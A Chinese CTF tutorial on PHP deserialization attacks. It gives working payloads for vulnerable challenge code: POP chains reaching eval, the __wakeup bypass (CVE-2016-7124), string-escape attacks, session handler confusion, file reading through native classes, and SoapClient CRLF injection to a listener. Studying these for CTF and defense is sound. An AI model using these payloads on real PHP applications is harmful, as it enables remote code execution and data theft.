php反序列化漏洞
序列化是将一个对象转换成字符串,反序列化是将字符串转换成对象,
在ctf的php反序列化中,我们传入参数进行反序列化,意味着我们可以控制对象的中参数的值,以达到获得flag和shell权限的目的
serialize() 将一个对象转换成一个字符串
<?php class info{ public $name=19; } $a=new info(); echo serialize($a);
new info()是调用info这个类,运行得到的值如下:
O:4:"info":1:{s:4:"name";i:19;}
第一位:O表示object,i代表数组
第二位:代表对象的长度
第三位:是对象的名称
第四位:是对象的个数
第五位:是变量的数据类型,s代表string,i代表int
第六位:是变量的长度
第七位:是变量的名字
unserialize() 将字符串还原成一个对象
将序列化的内容还原成对象
<?php class info{ public $name='N1ght'; public $age=17; public function a(){ echo $this->name.' is '.$this->age.' years old'; } } $a=new info(); $a->a();
$a->a();调用info里面的a函数
$this->name调用当前类的变量
我们如何修改里面的值呢
<?php class info{ public $name='N1_ght'; public $age=17132; public function a(){ echo $this->name.' is '.$this->age.' years old'; } } $a=new info(); $a->a(); echo serialize($a);
先获取序列化的值
O:4:"info":2:{s:4:"name";s:6:"N1_ght";s:3:"age";i:17132;}
然后进行反序列化
<?php class info{ public $name='N1_ght'; public $age=17132; public function a(){ echo $this->name.' is '.$this->age.' years old'; } } $a=unserialize($_GET['a']); $a->a();
值就进行了改变
通过这个知识点,我们就可以出一个·题目
<?php class N1ght{ public $username; public $password; public $token; public function login(){ if($this->username==='N1_ght'&&$this->password==='123456'&&$this->token==='admin'){ include('flag.php'); echo $flag; }else{ echo 'login failed'; } } } $a=unserialize($_GET['a']); $a->login(); ?>
可以看到很简单进行了一个if判断语句,限定了我们输入的值,输入值正确的时候就输出flag
我们构建payload
<?php class N1ght{ public $username; public $password; public $token; public function login(){ if($this->username==='N1_ght'&&$this->password==='123456'&&$this->token==='admin'){ include('flag.php'); echo $flag; }else{ echo 'login failed'; } } } $a=new N1ght(); $a->username='N1_ght'; $a->password='123456'; $a->token='admin'; echo serialize($a); ?>
$a->xx=xxx 修改N1ght里的username的值为xxx
得到结果:
O:5:"N1ght":3:{s:8:"username";s:6:"N1_ght";s:8:"password";s:6:"123456";s:5:"token";s:5:"admin";}
get方式传入a
验证成功
输出flag
在类中有
public公有变量
private私有变量
protected保护变量
Public、private、protected区别:它们三个的权限不同。public 可以访问所有的类,private 只有当前类可访问,protected 当前类和继承它的类都可访问。
protected
声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\0*\0的前缀。这里的
\0 表示 ASCII 码为 0 的字符(不可见字符),而不是 \0 组合。
这也许解释了,为什么如果直接在网址上,传递\0*\0username会报错,因为实际上并不是\0,只是用它来代替ASCII值为0的字符。
必须用python传值才可以。
比如:
O:4:"Name":2:{s:11:"\0*\0username";s:5:"admin";s:11:"\0*\0password";i:100;}
private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度。其中 \0 字符也是计算长度的。
如果想放在浏览器中直接提交,我们可以将\0换成%00
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
原文链接:【PHP】反序列化漏洞(又名“PHP对象注入”)_Kal1的博客-CSDN博客
但是当数组值包含如双引号、单引号或冒号等字符时,它们被反序列化后,可能会出现问题。
为了克服这个问题,一个巧妙的技巧是使用base64_encode和base64_decode函数。
$obj=array();//序列化
$s=base64_encode(serialize($obj));
//反序列化
$original=unserialize(base64_decode($s)); 这样也并不是一个非常完美的解决办法,因为base64编码将增加字符串的长度。为了克服这个问题,可以和gzcompress一起使用,如下。
//定义一个用来序列化对象的函数function my_serialize($obj){
return base64_encode(gzcompress(serialize($obj)));
}
//反序列化
function my_unserialize($txt){
return unserialize(gzuncompress(base64_decode($txt)));
}
我们反序列化的时候要传入他的url编码过后的值才能成功,并且不能在外面通过->的方式修改
以private尝试
<?php class N1ght{ private $username; private $password; private $token; private function login(){ if($this->username==='N1_ght'&&$this->password==='123456'&&$this->token==='admin'){ include('flag.php'); echo $flag; }else{ echo 'login failed'; } } } $a=unserialize($_GET['a']); $a->login(); ?>
payload:
O:5:"N1ght":3:{s:15:"N1ghtusername";s:6:"N1_ght";s:15:"N1ghtpassword";s:6:"123456";s:12:"N1ghttoken";s:5:"admin";}
会发现报错
进行url编码后发现成功
<?php class N1ght{ private $username='N1_ght'; private $password='123456'; private $token='admin'; public function login(){ if($this->username==='N1_ght'&&$this->password==='123456'&&$this->token==='admin'){ include('flag.php'); echo $flag; }else{ echo 'login failed'; } } } $a=new N1ght(); echo urlencode(serialize($a)); ?>
魔法函数
__construct() 创建对象时触发
__destruct() 对象被销毁时触发
__toString() echo和printf时候触发
__wakeup() 调用反序列化时候触发
__sleep() 调用序列化的时候触发
__get() 从不可访问的属性读取数据
__set() 将数据写入不可访问的对象
__call() 在对象上下文中调用不可访问的方法触发
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用
测试
new A()这个动作触发了
__construct和__destruct
serialize($a)触发了sleep
unserialize($a)触发了__wakeup
$a->a()触发了__call函数
魔法函数__wakeup()绕过
在漏洞CVE-2016-7124当序列化的字符串表示对象属性个数大于真实的属性个数的时候会跳过__wakeup函数的执行
有效版本:
PHP5<5.6.25,PHP7 < 7.0.10
题目:
<?php class N1_ght{ public $username; public $password; public $token; public function __wakeup(){ $this->username='hh'; $this->password='xx'; $this->token='user'; echo "触发了__wakeup函数"; } public function __destruct(){ if($this->username=='wandou'&&$this->password='123456'&&$this->token=='admin'){ include('flag.php'); echo $flag; } } } $a=unserialize($_GET['a']); ?>
要让username和password和token等于一个值,但是unserialize会自动调用wakeup重新赋值,无法成功
payload:
<?php class N1_ght{ public $username; public $password; public $token; } $a=new N1_ght(); $a->username='wandou'; $a->password='123456'; $a->token='admin'; echo serialize($a); ?>
O:6:"N1_ght":3:{s:8:"username";s:6:"wandou";s:8:"password";s:6:"123456";s:5:"token";s:5:"admin";}
值为
当他的对象个数大于真实对象个数的时候
直接跳过了wakeup并且不执行
pop链学习
pop链的构造需要找到入口,也就是传入参数的地方,然后通过php的魔法函数来链到可以执行命令或者获得flag的函数
pop链例题
<?php
error_reporting(0);
show_source("pop.php");
class errorr0{
protected $var;
function __construct() {
$this->var = new errorr1();
}
function __destruct() {
$this->var->func();
}
}
class errorr1 {
public $var;
function func() {
echo $this->var;
}
}
class errorr2 {
private $data;
public function func() {
eval($this->data);
}
}
unserialize($_GET['err']);
?>
学习pop链看到的一道题目
分析源代码
error_reporting(0); 关闭报错信息
show_source("pop.php"); 显示页面源代码
class errorr0{ 定义一个类为errorr0
protected $var; 定义受保护的变量,只能在类内部进行修改不能 $a=new errorr0(); $a->var=111
function __construct() { 当类被创建的时候
$this->var = new errorr1(); 这边的var是可以控制的,可以构建pop链,创建一个新的类
}
function __destruct() {
$this->var->func(); 当类被销毁的时候,调用var类中的func函数
}
}
class errorr1 { 定义一个类为error1
public $var; 定义一个公有变量var
function func() { 定义一个func函数
echo $this->var; 这边应该是可控制,但是下面的errorr2需要去调用func函数执行系统命令
}
}
class errorr2 { 声明一个类为errorr2
private $data; 定义一个私有变量data,输入执行的命令
public function func() { 定义一个公有函数func
eval($this->data); 执行系统命令
}
}
我们需要链接到errorr2并且调用里面的func函数
我们看到了
class errorr0{
protected $var;
function __construct() {
$this->var = new errorr1(); 修改成new errorr2()
}
function __destruct() {
$this->var->func(); 当类被销毁的时候,调用var类中的func函数
}
}
payload:
<?php
class errorr0{
protected $var;
function __construct() {
$this->var = new errorr2();
}
function __destruct() {
$this->var->func();
}
}
class errorr1 {
public $var;
function func() {
echo $this->var;
}
}
class errorr2 {
private $data="phpinfo();";
public function func() {
eval($this->data);
}
}
$a=new errorr0();
echo urlencode(serialize($a)); 因为protected和private所以转换url编码
?>
例题2:
看到的一道pop题,源代码:
<?php
error_reporting(0);
show_source("index.php");
class w44m{
private $admin = 'aaa';
protected $passwd = '123456';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?>
代码分析:
error_reporting(0); 关闭报错
show_source("index.php"); 浏览器显示
分析这个部分可以当pop链的尾部,只要admin==='w44m'并且passwd==='08067'调用Getflag函数就可以获得flag
class w44m{
private $admin = 'aaa';
protected $passwd = '123456';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
这个部分可以当pop链的头部
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
w33m可以调用w44m的Getflag函数
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
-->w22m::__destruct()-->w33m::__toString()-->w44m()::Getflag()
payload:
<?php
error_reporting(0);
show_source("index.php");
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$a = new w44m();
$b = new w22m();
$c = new w33m();
$b->w00m=$c;
$c->w00m=$a;
$c->w22m="Getflag";
echo serialize($b)."\n";
echo urlencode(serialize($b));
?>
反序列化字符串逃逸
反序列化字符串逃逸包括增多和减少
一般是str_replace函数触发的
序列化后的字符串在进行反序列化操作时,会以{}两个花括号进行分界线,花括号以外的内容不会被反序列化。
增多
<?php highlight_file(__FILE__); function change($str){ return str_replace("x", "xxxx", $str); } $name=$_GET['name']; $age="I am 11"; $arr=array($name,$age); print_r(serialize($arr)); echo "<br/>"; $old=change(serialize($arr)); echo "<br/>".$old; $new=unserialize($old); var_dump($new); echo "<br/>此时,age=$new[1]"; if($new[1]=="18"){ include('flag.php'); echo $flag; } ?>
分析下源代码,我们要控制age=18就输出,如何操作age呢
str_replace将x换成了xxxx,发现长度是3里面内容确实xxxxxxxxxxxx等等,这些多余的字符我们可以自己进行拼接序列化
前面有个定义就是:
序列化后的字符串在进行反序列化操作时,会以{}两个花括号进行分界线,花括号以外的内容不会被反序列化。
";i:1;s:2:"18";}
需要逃逸16个字符,我们输入一个x逃逸3个所以payload就是,xxxxxx";i:1;s:2:"18";}aa
成功控制后面的变量,这边的aa是占位符凑到18个逃逸字符
所以增多就是通过str_replace将字符串替换变多,自己构建反序列化的字符加入其中,使自己构建代替生成的,来控制后面变量的值
ctfshow262
<?php error_reporting(0); class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } $f = $_GET['f']; $m = $_GET['m']; $t = $_GET['t']; if(isset($f) && isset($m) && isset($t)){ $msg = new message($f,$m,$t); $umsg = str_replace('fuck', 'loveU', serialize($msg)); setcookie('msg',base64_encode($umsg)); echo 'Your message has been sent'; } highlight_file(__FILE__);
放到本地环境调试
需要逃逸的字符串是
";s:5:"token";s:5:"admin";}
27个字符就需要传入27个fuck
fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
然后访问message.php
减少
<?php highlight_file(__FILE__); function change($str){ return str_replace("flag", "x", $str); } $name=$_GET['name']; $age='i am 18 year'; $ye=$_GET['wandou']; $sys='ls'; $arr=array($name,$age,$ye,$sys); print_r(serialize($arr)); echo "<br/>"; $old=change(serialize($arr)); echo "<br/>".$old; $new=unserialize($old); var_dump($new); echo "<br/>此时,age=$new[1]"; echo "<br />此时,sys=$new[3]"; echo `$new[3]`; ?>
我们可以通过控制new的第四个变量来执行命令
传入参数
";i:1;s:12:"i am 18 year";i:2;s:58:"
需要逃逸的是这一部分
我们输入12个flag进行逃逸36个字符
成功执行命令
session反序列化
php : a|s:3:"wzk";
php_serialize : a:1:{s:1:"a";s:3:"wzk";}
php_binary : as:3:"wzk";
所以一般是php_serialize存储|a:1:{s:1:"a";s:3:"wzk";}
php触发
ini_set("session.serialize_handler","php_serialize")
ini_set("session.serialize_handler","php")
<?php highlight_file(__FILE__); ini_set($_GET['b'],$_GET['c']); session_start(); $_SESSION['swaggyp'] = $_GET['a']; echo var_dump($_SESSION); class student{ var $name; var $age; function __wakeup() { echo "wzk".$this->name; } }
我们的思路是
ini_set('session.serialize_handler','php_serialize')保存|反序列化的值
ini_set('session.serialize_handler','php')触发
<?php class student{ var $name; var $age; } $a = new student(); $a->name = "swaggyp"; $a->age = "1111"; echo serialize($a); //O:7:"student":3:{s:4:"name";N;s:3:"age";s:4:"1111";s:4:"nage";s:7:"swaggyp";}
存储
触发
触发成功
反序列化原生类
DirectoryIterator
这个类会创建一个指定目录的迭代器,当遇到echo输出时会触发Directorylterator中的__toString()方法,输出指定目录里面经过排序之后的第一个文件名。
<?php $a=new DirectoryIterator(); echo $a; ?>
我们可以通过通配符查找flag的文件名
<?php $a=new DirectoryIterator('glob://*f*'); echo $a; ?>
<?php $a=new DirectoryIterator('glob://*f*'); foreach($a as $f){ echo $f->__toString().' '; } ?>
也可以通过foreach读取全部的文件
FilesystemIterator
这个在用法上和DirectoryIterator一样。
GlobIterator
通过类名也不难看出,这是个自带glob协议的类,所以调用时就不必再加上glob://了
SplFileObject
当用文件目录遍历到了敏感文件时,可以用SplFileObject类,同样通过echo触发SplFileObject中的__toString()方法。(该类不支持通配符,所以必须先获取到完整文件名称才行)除此之外其实SplFileObject类,只能读取文件的第一行内容,如果想要全部读取就需要用到foreach函数,但若题目中没有给出foreach函数的话,就要用伪协议读取文件的内容
<?php $a=new SplFileObject('ffffllllllaaaag.txt'); echo $a;
<?php $a=new SplFileObject('ffffllllllaaaag.txt'); foreach($a as $f){ echo $a->__toString().'<br>'; }
报错类
Error/Exception 触发XSS
绕过哈希值比较
SoapClient类
开启一个监听器
nc -lvvp
这边利用了crlf漏洞,我们可以进行post传参
<?php $payload='a=b&b=c'; $a=new SoapClient(null, array( 'location'=>'http://192.168.126.128:5000/flag.php', 'uri'=>'http://192.168.126.128:5000/flag.php', 'user_agent'=>"aaa\r\nCookie:N1ght\r\nContent-type:application/x-www-form-urlencoded\r\nContent-length:".strlen($payload)."\r\n\r\n".$payload) ); $a->a();